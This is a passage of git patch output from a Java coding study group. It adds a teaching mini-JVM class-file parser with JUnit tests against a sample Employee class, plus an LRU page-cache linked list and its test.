+        // System.out.println("Is final class : " + flag.isFinalClass());
+
+        return flag;
+    }
+
+    private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+        int thisClassIndex = iter.nextU2ToInt();
+        int superClassIndex = iter.nextU2ToInt();
+
+        ClassIndex clzIndex = new ClassIndex();
+
+        clzIndex.setThisClassIndex(thisClassIndex);
+        clzIndex.setSuperClassIndex(superClassIndex);
+
+        return clzIndex;
+
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+        int constPoolCount = iter.nextU2ToInt();
+
+        System.out.println("Constant Pool Count :" + constPoolCount);
+
+        ConstantPool pool = new ConstantPool();
+
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for (int i = 1; i <= constPoolCount - 1; i++) {
+
+            int tag = iter.nextU1toInt();
+
+            if (tag == 7) {
+                // Class Info
+                int utf8Index = iter.nextU2ToInt();
+                ClassInfo clzInfo = new ClassInfo(pool);
+                clzInfo.setUtf8Index(utf8Index);
+
+                pool.addConstantInfo(clzInfo);
+            } else if (tag == 1) {
+                // UTF-8 String
+                int len = iter.nextU2ToInt();
+                byte[] data = iter.getBytes(len);
+                String value = null;
+                try {
+                    value = new String(data, "UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+
+                UTF8Info utf8Str = new UTF8Info(pool);
+                utf8Str.setLength(len);
+                utf8Str.setValue(value);
+                pool.addConstantInfo(utf8Str);
+            } else if (tag == 8) {
+                StringInfo info = new StringInfo(pool);
+                info.setIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 9) {
+                FieldRefInfo field = new FieldRefInfo(pool);
+                field.setClassInfoIndex(iter.nextU2ToInt());
+                field.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(field);
+            } else if (tag == 10) {
+                // MethodRef
+                MethodRefInfo method = new MethodRefInfo(pool);
+                method.setClassInfoIndex(iter.nextU2ToInt());
+                method.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(method);
+            } else if (tag == 12) {
+                // Name and Type Info
+                NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+                nameType.setIndex1(iter.nextU2ToInt());
+                nameType.setIndex2(iter.nextU2ToInt());
+                pool.addConstantInfo(nameType);
+            } else {
+                throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+            }
+        }
+
+        System.out.println("Finished reading Constant pool ");
+
+        return pool;
+    }
+
+    private void parseInterfaces(ByteCodeIterator iter) {
+        int interfaceCount = iter.nextU2ToInt();
+
+        System.out.println("interfaceCount:" + interfaceCount);
+
+        // TODO : 如果实现了interface, 这里需要解析
+    }
+
+    private void parseFields(ClassFile clzFile, ByteCodeIterator iterator) {
+        int fieldsNum = iterator.nextU2ToInt();
+        for (int i = 0; i < fieldsNum; i++) {
+            clzFile.addField(Field.parse(clzFile.getConstantPool(), iterator));
+        }
+    }
+
+
+    private void parseMethods(ClassFile clzFile,ByteCodeIterator iterator){
+        int method_count = iterator.nextU2ToInt();
+        for (int i = 0; i < method_count; i++) {
+            Method method = Method.parse(clzFile,iterator);
+            clzFile.addMethod(method);
+        }
+
+    }
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..48fe76a1de
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,66 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Method {
+
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+        int access_flag = iter.nextU2ToInt();
+        int name_index = iter.nextU2ToInt();
+        int descriptor_index = iter.nextU2ToInt();
+        int attributes_count = iter.nextU2ToInt();
+        Method method = new Method(clzFile, access_flag, name_index, descriptor_index);
+
+        System.out.println("method_info" + name_index + "有" + attributes_count + "个属性");
+
+        for (int i = 0; i < attributes_count; i++) {
+            method.setCodeAttr(CodeAttr.parse(clzFile, iter));
+        }
+
+        return method;
+
+    }
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..5803e72b18
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,277 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week6_jvm\\out\\production\\week6_jvm";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+   
+
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}

From 5e6f4ffabe691fc258ab4af9362ee4a49f7bf0d3 Mon Sep 17 00:00:00 2001
From: liujk <1252327158@qq.com>
Date: Thu, 13 Apr 2017 21:55:04 +0800
Subject: [PATCH 080/262] add task4

---
 .../coding/basic/linklist/LRUPageFrame.java   | 131 ++++++++++++
 .../basic/linklist/LRUPageFrameTest.java      |  34 +++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +++
 .../src/com/coderising/jvm/clz/ClassFile.java |  75 +++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 ++
 .../coderising/jvm/constant/ClassInfo.java    |  24 +++
 .../coderising/jvm/constant/ConstantInfo.java |  29 +++
 .../coderising/jvm/constant/ConstantPool.java |  29 +++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++++
 .../jvm/constant/MethodRefInfo.java           |  55 +++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++++
 .../jvm/constant/NullConstantInfo.java        |  13 ++
 .../coderising/jvm/constant/StringInfo.java   |  26 +++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +++
 .../jvm/loader/ByteCodeIterator.java          |   5 +
 .../jvm/loader/ClassFileLoader.java           | 140 ++++++++++++
 .../jvm/loader/ClassFileParser.java           |  44 ++++
 .../jvm/test/ClassFileloaderTest.java         | 202 ++++++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +++
 .../src/com/coderising/jvm/util/Util.java     |  24 +++
 20 files changed, 1034 insertions(+)
 create mode 100644 group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrame.java
 create mode 100644 group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrameTest.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/util/Util.java

diff --git a/group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrame.java b/group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..5068578571
--- /dev/null
+++ b/group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,131 @@
+package com.coding.basic.linklist;
+
+
+public class LRUPageFrame {
+	
+	private static class Node {
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	private int currentSize;
+	private Node first;// 链表头
+	private Node last;// 链表尾
+	
+	public LRUPageFrame(int capacity) {
+		this.currentSize = 0;
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		Node node = find(pageNum);
+		//在该队列中存在， 则提到队列头
+		if (node != null) {
+			moveExistingNodeToHead(node);
+		} else{
+			node = new Node();
+			node.pageNum = pageNum;
+			
+			// 缓存容器是否已经超过大小.
+			if (currentSize >= capacity) {			
+				removeLast();
+			}
+			addNewNodetoHead(node);
+		}
+	}
+	
+	private void addNewNodetoHead(Node node) {
+		if(isEmpty()) {
+			node.prev = null;
+			node.next = null;
+			first = node;
+			last = node;
+		} else {
+			node.prev = null;
+			node.next = first;
+			first.prev = node;
+			first = node;
+		}
+		this.currentSize ++;
+	}
+
+	private Node find(int data){
+		Node node = first;
+		while(node != null){
+			if(node.pageNum == data){
+				return node;
+			}
+			node = node.next;
+		}
+		return null;
+	}
+
+	/**
+	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
+	 */
+	private void removeLast() {
+		Node prev = last.prev;
+		prev.next = null;
+		last.prev = null;
+		last = prev;
+		this.currentSize --;
+	}
+
+	/**
+	 * 移动到链表头，表示这个节点是最新使用过的
+	 * 
+	 * @param node
+	 */
+	private void moveExistingNodeToHead(Node node) {
+		if (node == first) {
+			return;
+		}
+		else if(node == last){
+			//当前节点是链表尾， 需要放到链表头
+			Node prevNode = node.prev;
+			prevNode.next = null;	
+			last.prev = null;
+			last  = prevNode;
+		} else{
+			//node 在链表的中间， 把node 的前后节点连接起来
+			Node prevNode = node.prev;
+			prevNode.next = node.next;
+			
+			Node nextNode = node.next;
+			nextNode.prev = prevNode;
+		}
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;
+	}
+	private boolean isEmpty(){		
+		return (first == null) && (last == null);
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrameTest.java b/group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7fd72fc2b4
--- /dev/null
+++ b/group27/1252327158/task4_20170402/linklist/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,34 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+		frame.access(5);
+		Assert.assertEquals("5,4,0", frame.toString());
+		
+	}
+
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..650ca8375d
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group27/1252327158/task4_20170402/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
